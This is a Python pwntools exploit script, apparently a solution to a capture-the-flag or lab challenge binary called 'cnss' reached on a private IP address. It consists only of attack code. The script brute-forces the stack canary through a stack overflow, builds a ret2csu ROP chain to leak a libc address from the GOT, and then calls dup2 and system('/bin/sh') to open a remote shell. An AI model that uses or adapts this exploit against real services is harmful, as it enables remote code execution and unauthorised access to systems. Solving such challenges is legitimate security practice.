1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * from LibcSearcher import * elf = ELF('./cnss') socket_got = elf.got['socket'] write_got = elf.got['write'] csu_pop = 0x40481A csu_call = 0x404800 eval_ret = 0x401F15 pop_rdi = 0x404823
pop_rsi = 0x404821 def init_connection(): global sh sh = remote('192.168.232.130',1337) sh.send(p32(0x4D435052)) sh.send(p32(0) + p32(1,endian = 'big')) def stack_overflow(size,content): sh.send(p32(0x4D435052)) sh.send(p32(0) + p32(3,endian = 'big')) sh.send(p32(0)*2) sh.send(p32(0x10,endian = 'big')) sh.send('t'*0x10) sh.send(p32(size,endian = 'big')) sh.send(content) init_connection()
canary = '\x00' for i in range(1,8): print '===crack last(',i+1,')byte====' for x in range(0,0x100): print 'trying ',hex(x) stack_overflow(0x18E + i + 1,'a'*0x18E + canary + p8(x)) try: sh.recv() sh.recv() except: sh.close() init_connection() continue canary += p8(x) break canary = u64(canary)
print 'canary=',hex(canary)
rop = p64(csu_pop) rop += p64(0) + p64(1) rop += p64(write_got) rop += p64(0x8) + p64(socket_got) + p64(4) rop += p64(csu_call) payload = 'a'*0x18E + p64(canary) + p64(0) + rop stack_overflow(len(payload),payload) socket_addr = u64(sh.recv().ljust(8,'\x00')) libc = LibcSearcher('socket',socket_addr) libc_base = socket_addr - libc.dump('socket') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') dup2_addr = libc_base + libc.dump('dup2') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) print 'dup2_addr=',hex(dup2_addr) sh.close()
init_connection()
raw_input() rop = p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0)*2 + p64(dup2_addr) rop += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(1)*2 + p64(dup2_addr) rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload = 'a'*0x18E + p64(canary) + p64(0) + rop stack_overflow(len(payload),payload) sh.interactive()
|